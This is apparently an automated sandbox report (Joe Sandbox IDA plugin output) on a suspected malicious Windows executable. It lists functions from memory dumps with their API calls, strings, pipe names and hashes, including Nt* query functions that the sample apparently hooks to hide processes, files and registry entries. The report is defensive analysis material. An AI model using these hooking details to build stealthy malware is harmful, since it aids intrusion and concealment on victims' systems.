ntdll.dll, xrefs: 000002616F591D35
advapi32.dll, xrefs: 000002616F591DFF, 000002616F591E20

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction ID: 20017e8feb68f2d950095fdd9f5197d0408cebef469e4c44c75bd6255b6ab6a6
Opcode Fuzzy Hash: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction Fuzzy Hash: BF31CD7C100A8EACEA09EB55E8597D4632FA745344F8CD413981906172DF7AEE7EC7A0

Function 000002616F59D398 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002616F59D3A7
FlsGetValue.KERNEL32(?,?,?,000002616F5A0FDB,?,?,?,000002616F5A09CC,?,?,?,000002616F59CDBF), ref: 000002616F59D3BC
FlsSetValue.KERNEL32(?,?,?,000002616F5A0FDB,?,?,?,000002616F5A09CC,?,?,?,000002616F59CDBF), ref: 000002616F59D3DD
FlsSetValue.KERNEL32(?,?,?,000002616F5A0FDB,?,?,?,000002616F5A09CC,?,?,?,000002616F59CDBF), ref: 000002616F59D40A
FlsSetValue.KERNEL32(?,?,?,000002616F5A0FDB,?,?,?,000002616F5A09CC,?,?,?,000002616F59CDBF), ref: 000002616F59D41B
FlsSetValue.KERNEL32(?,?,?,000002616F5A0FDB,?,?,?,000002616F5A09CC,?,?,?,000002616F59CDBF), ref: 000002616F59D42C
SetLastError.KERNEL32 ref: 000002616F59D447
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002616F5A0FDB,?,?,?,000002616F5A09CC,?,?,?,000002616F59CDBF), ref: 000002616F59D47D
FlsSetValue.KERNEL32(?,?,00000001,000002616F59F23C,?,?,?,?,000002616F59C50F,?,?,?,?,?,000002616F597AC0), ref: 000002616F59D49C

Part of subcall function 000002616F59DC3C: HeapAlloc.KERNEL32 ref: 000002616F59DC91

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002616F5A0FDB,?,?,?,000002616F5A09CC,?,?,?,000002616F59CDBF), ref: 000002616F59D4C4

Part of subcall function 000002616F59DCB4: HeapFree.KERNEL32 ref: 000002616F59DCCA
Part of subcall function 000002616F59DCB4: GetLastError.KERNEL32 ref: 000002616F59DCD4

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002616F5A0FDB,?,?,?,000002616F5A09CC,?,?,?,000002616F59CDBF), ref: 000002616F59D4D5
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002616F5A0FDB,?,?,?,000002616F5A09CC,?,?,?,000002616F59CDBF), ref: 000002616F59D4E6

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 0311236df13cff9ddc5faef47bd35e239f24ae7eb6a96a8c603fa91771617960
Instruction ID: e6be4582c1c7790624e7c790105313243c0dfeea310f1895f65e08188ece6160
Opcode Fuzzy Hash: 0311236df13cff9ddc5faef47bd35e239f24ae7eb6a96a8c603fa91771617960
Instruction Fuzzy Hash: 5641613C2006C88AF95CA725D56D36D628F5B467B0F1CC724AC7A076D7DE6ABC318600

Function 000002616F59224C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002616F592261
GetCurrentProcessId.KERNEL32 ref: 000002616F59226B

Part of subcall function 000002616F59193C: OpenProcess.KERNEL32 ref: 000002616F59195A
Part of subcall function 000002616F59193C: IsWow64Process.KERNEL32 ref: 000002616F591970
Part of subcall function 000002616F59193C: CloseHandle.KERNEL32 ref: 000002616F59198B

CreateFileW.KERNEL32 ref: 000002616F5922C4
WriteFile.KERNEL32 ref: 000002616F5922EC
ReadFile.KERNEL32 ref: 000002616F59230B
CloseHandle.KERNEL32 ref: 000002616F592314

Strings

\\.\pipe\wzchildproc32, xrefs: 000002616F59229B
\\.\pipe\wzchildproc64, xrefs: 000002616F592294

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\wzchildproc32$\\.\pipe\wzchildproc64
API String ID: 2171963597-1908187885
Opcode ID: 61e9aad5965f0bf4cc9e1225d6c883f067986cfc1e7eceaf874e8f6c664e297a
Instruction ID: 1d44cde51dde2499cbd793102e51572d8d9aeb8e5208efdf455d5e1c063bce11
Opcode Fuzzy Hash: 61e9aad5965f0bf4cc9e1225d6c883f067986cfc1e7eceaf874e8f6c664e297a
Instruction Fuzzy Hash: AA21C53A21474087F710CB25F40835A77A6F786BA4F448215DE5903BA8CF7DD9A9CF00

Function 000002616F309EF0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002616F309F4C

Part of subcall function 000002616F30AE08: __GetUnwindTryBlock.LIBCMT ref: 000002616F30AE4B
Part of subcall function 000002616F30AE08: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002616F30AE70

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002616F30A024
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002616F30A273
std::bad_alloc::bad_alloc.LIBCMT ref: 000002616F30A37F

Strings

csm, xrefs: 000002616F309F66
csm, xrefs: 000002616F309FCD
csm, xrefs: 000002616F30A047

Memory Dump Source

Source File: 00000001.00000002.1599175099.000002616F300000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002616F300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f300000_r8k29DBraE.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction ID: 78c2e5b8e6cb2378f83bc25efeea12599041ee685a56b68c92ee8849f6735847
Opcode Fuzzy Hash: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction Fuzzy Hash: FCD1C37A604B408EEF60DF65E48839D77AAF745788F080117EF8957B99CB36E4A0C706

Function 000002616F59AAF0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002616F59AB4C

Part of subcall function 000002616F59BA08: __GetUnwindTryBlock.LIBCMT ref: 000002616F59BA4B
Part of subcall function 000002616F59BA08: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002616F59BA70

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002616F59AC24
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002616F59AE73
std::bad_alloc::bad_alloc.LIBCMT ref: 000002616F59AF7F

Strings

csm, xrefs: 000002616F59AB66
csm, xrefs: 000002616F59AC47
csm, xrefs: 000002616F59ABCD

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction ID: 5ea085c38808bfdd1a88708ae1e88ade133760eb174250ac5f06833ed16194e3
Opcode Fuzzy Hash: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction Fuzzy Hash: 37D1147AA007C08EEB68DF24D44839D37BAF746788F088105EE8957B86CF35E8A0C750

Function 000002616F59F904 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000002616F59FA80
GetProcAddress.KERNEL32 ref: 000002616F59FA8C

Strings

ext-ms-, xrefs: 000002616F59F9DD
api-ms-, xrefs: 000002616F59F9CA

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction ID: d95c9582e578627c791a07792509256fb14a9ef44ed8d4376c2844f17db374da
Opcode Fuzzy Hash: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction Fuzzy Hash: FA41E33A311B805EFA5ACB26E80C79527DBB746BE0F4DD125AD0957784EB3AEC658300

Function 000002616F59104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002616F5910B1
RegEnumValueW.ADVAPI32 ref: 000002616F591117
GetProcessHeap.KERNEL32 ref: 000002616F59115A
HeapAlloc.KERNEL32 ref: 000002616F591168
GetProcessHeap.KERNEL32 ref: 000002616F591185
HeapFree.KERNEL32 ref: 000002616F591193

Strings

d, xrefs: 000002616F5910D6

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 10f5da8e496c9e34297fbddd7d2f6e010fd57b3cb8bb1b18d0e9abf332d64a12
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: D9418337214BC4DAE764CF21E44839E77AAF389B98F088115DB8907758DF39D89ACB00

Function 000002616F59D5D8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002616F59CD4E,?,?,?,?,?,?,?,?,000002616F59D50D,?,?,00000001), ref: 000002616F59D5F7
FlsSetValue.KERNEL32(?,?,?,000002616F59CD4E,?,?,?,?,?,?,?,?,000002616F59D50D,?,?,00000001), ref: 000002616F59D616
FlsSetValue.KERNEL32(?,?,?,000002616F59CD4E,?,?,?,?,?,?,?,?,000002616F59D50D,?,?,00000001), ref: 000002616F59D63E
FlsSetValue.KERNEL32(?,?,?,000002616F59CD4E,?,?,?,?,?,?,?,?,000002616F59D50D,?,?,00000001), ref: 000002616F59D64F
FlsSetValue.KERNEL32(?,?,?,000002616F59CD4E,?,?,?,?,?,?,?,?,000002616F59D50D,?,?,00000001), ref: 000002616F59D660

Strings

1%, xrefs: 000002616F59D63E
Y%, xrefs: 000002616F59D616

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction ID: da05403bb0eded14bd997136148c552751d1bcafc17a47e44d3677a3fa356f24
Opcode Fuzzy Hash: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction Fuzzy Hash: AF116338B042C489FA5C5722D569369628F5B467F0F1CC32468BD477D6DE2AFC228600

Function 000002616F306920 Relevance: 12.2, APIs: 8, Instructions: 228COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002616F306948
__scrt_acquire_startup_lock.LIBCMT ref: 000002616F30699A
_RTC_Initialize.LIBCMT ref: 000002616F3069C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002616F3069EE
__scrt_release_startup_lock.LIBCMT ref: 000002616F306A19

Memory Dump Source

Source File: 00000001.00000002.1599175099.000002616F300000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002616F300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f300000_r8k29DBraE.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction ID: dd822430ca009dc190df4ddc95dc0ea58042227217f260eb7b887e03614529c6
Opcode Fuzzy Hash: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction Fuzzy Hash: A881F57C7002418EFA54EB26D44935926EFAB86780F4C9027AE05477DADB3BE8B5C703

Function 000002616F597520 Relevance: 12.2, APIs: 8, Instructions: 228COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002616F597548
__scrt_acquire_startup_lock.LIBCMT ref: 000002616F59759A
_RTC_Initialize.LIBCMT ref: 000002616F5975C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002616F5975EE
__scrt_release_startup_lock.LIBCMT ref: 000002616F597619

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction ID: 55fc23e27224eca235e220da2ea6cc2f4d9cc9c943196519d2a81a15fa018df3
Opcode Fuzzy Hash: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction Fuzzy Hash: A481C1386007818EFB58AB29F4593A9269FA787780F5CD0179D0943796EB3BED768700

Function 000002616F59A148 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002616F59A1CD
GetLastError.KERNEL32 ref: 000002616F59A1DB
LoadLibraryExW.KERNEL32 ref: 000002616F59A205
FreeLibrary.KERNEL32 ref: 000002616F59A273
GetProcAddress.KERNEL32 ref: 000002616F59A27F

Strings

api-ms-, xrefs: 000002616F59A1ED

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction ID: c8fa7335d137f5f1714da9d2530d566be02a29c8eb32a3932cbdbf1a8eee4ccb
Opcode Fuzzy Hash: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction Fuzzy Hash: 06314639702780D9EE5A8B42E408355279EF746BA0F5D8525DD1D0B380EF3BEC798310

Function 000002616F5A4324 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002616F5A4355
GetLastError.KERNEL32 ref: 000002616F5A4361
CloseHandle.KERNEL32 ref: 000002616F5A4379
CreateFileW.KERNEL32 ref: 000002616F5A43A4
WriteConsoleW.KERNEL32 ref: 000002616F5A43C3

Strings

CONOUT$, xrefs: 000002616F5A4385

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 4c50c600c840af11fb29c95c0db3c2be4712be37c9ecc349f2f252041d9feab2
Instruction ID: ae1bb5767752e099d0f8283794a70c71f385c6a7e6803670e773abda6f4ed80e
Opcode Fuzzy Hash: 4c50c600c840af11fb29c95c0db3c2be4712be37c9ecc349f2f252041d9feab2
Instruction Fuzzy Hash: 2311B235310B408AE3508B56F85831976A9F388FE4F088215EE6A877A4CF39DC788740

Function 000002616F5914A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002616F5914CA
HeapFree.KERNEL32 ref: 000002616F5914D9
GetProcessHeap.KERNEL32 ref: 000002616F5914E6
HeapFree.KERNEL32 ref: 000002616F5914F5
GetProcessHeap.KERNEL32 ref: 000002616F591505

Strings

C:\Users\user\Desktop\r8k29DBraE.exe, xrefs: 000002616F5A61A9, 000002616F5A61B1

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Users\user\Desktop\r8k29DBraE.exe
API String ID: 3168794593-2002025803
Opcode ID: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction ID: 11ad6b47202d658abe99bc31435cf4e6b4f094c7c94a340b44e28909c7e876ce
Opcode Fuzzy Hash: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction Fuzzy Hash: 013161BF509BC08EE3578B69D8592492FAAF39AF40F0DC015DE4443247DA26A83A8740

Function 000002616F59D510 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002616F59D51F
FlsSetValue.KERNEL32(?,?,?,000002616F59DC25,?,?,?,?,000002616F59DCE8), ref: 000002616F59D555
FlsSetValue.KERNEL32(?,?,?,000002616F59DC25,?,?,?,?,000002616F59DCE8), ref: 000002616F59D582
FlsSetValue.KERNEL32(?,?,?,000002616F59DC25,?,?,?,?,000002616F59DCE8), ref: 000002616F59D593
FlsSetValue.KERNEL32(?,?,?,000002616F59DC25,?,?,?,?,000002616F59DCE8), ref: 000002616F59D5A4
SetLastError.KERNEL32 ref: 000002616F59D5BF

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction ID: 1cc8d5048ed1c234fa69c016be5dd5a49c99511bdc386ebf0a068b7f16618e1f
Opcode Fuzzy Hash: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction Fuzzy Hash: 8B116D3C2042C48AFA5CA725D66D32D629F6B467F4F1CC724AC76477DADE2AEC218740

Function 000002616F5919A4 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002616F5919CA
K32GetModuleFileNameExW.KERNEL32 ref: 000002616F5919E8
PathFindFileNameW.SHLWAPI ref: 000002616F5919F7
lstrlenW.KERNEL32 ref: 000002616F591A03
StrCpyW.SHLWAPI ref: 000002616F591A16
CloseHandle.KERNEL32 ref: 000002616F591A24

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction ID: d93d11b5148e1052a343399212262d7f5824a205b14de5f7412693c1af655a03
Opcode Fuzzy Hash: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction Fuzzy Hash: BB016D35300B808AEB14DB16E45C35967AAF789BC0F488435DE5A43754DF3DDDAA8740

Function 000002616F5936DC Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002616F5936F8
GetCurrentProcess.KERNEL32 ref: 000002616F593706
VirtualProtectEx.KERNEL32 ref: 000002616F593728
GetCurrentProcess.KERNEL32 ref: 000002616F593746
VirtualProtectEx.KERNEL32 ref: 000002616F593767
TerminateThread.KERNEL32 ref: 000002616F593776

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 6a4903f23145d629ccf7c0814750504573150cedf00e013b6ac3f495348c8662
Instruction ID: 317b7c029a5a94bc7ae351203d52ddc5272afa3e10eca254d47e894f2d1c0c54
Opcode Fuzzy Hash: 6a4903f23145d629ccf7c0814750504573150cedf00e013b6ac3f495348c8662
Instruction Fuzzy Hash: 5B01807C6117448EFB259B25E81C31A37AABB4AB86F088024CD4D07764EF3ED979CB10

Function 000002616F591A48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002616F591A68
StrCmpNIW.SHLWAPI ref: 000002616F591A82
lstrlenW.KERNEL32 ref: 000002616F591A91
StrCpyW.SHLWAPI ref: 000002616F591AA6

Strings

\\?\, xrefs: 000002616F591A76

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction ID: 61e2dc35a84047443eef843ddae7c60c380ff5f15506449f440bc123b5ade45a
Opcode Fuzzy Hash: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction Fuzzy Hash: 21F0C236300B809AEB208B64F5D8759676AF759B88F88C021DE4943954DF7EDEBDCB00

Function 000002616F59C208 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002616F59C22D
GetProcAddress.KERNEL32 ref: 000002616F59C243
FreeLibrary.KERNEL32 ref: 000002616F59C26A

Strings

CorExitProcess, xrefs: 000002616F59C23C
mscoree.dll, xrefs: 000002616F59C224

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
Instruction ID: 0925981fd644e2039727158cb129a2ea9561925e4b4067967d00bf06e7a3cf89
Opcode Fuzzy Hash: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
Instruction Fuzzy Hash: 32F09679311B0585EF148B68F44C3595326FB86BA1F5C8219CDAA462E8CF3EE87CC310

Function 000002616F593058 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002616F59307A
StrCpyW.SHLWAPI ref: 000002616F59308A
StrCatW.SHLWAPI ref: 000002616F593096
PathCombineW.SHLWAPI ref: 000002616F5930A4

Strings

\\.\pipe\, xrefs: 000002616F593070

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction ID: 12d132362a35b3e3be6436785832f3ccd5d51974c088da4f0cae0c1182744019
Opcode Fuzzy Hash: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction Fuzzy Hash: 07F08238314B8085EA048B1BF91C119666AAB49FD0F0CC031EE5A47B18DF3DD8BA8700

Function 000002616F595720 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002616F595736

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 233253c0af1c71537342ffad3d4117e803acd28c2e037e013065ef1ae825a821
Instruction ID: dd56751c3377d49462de0dfae5a81bfca469e7809adf0074a7c0a29b584a162a
Opcode Fuzzy Hash: 233253c0af1c71537342ffad3d4117e803acd28c2e037e013065ef1ae825a821
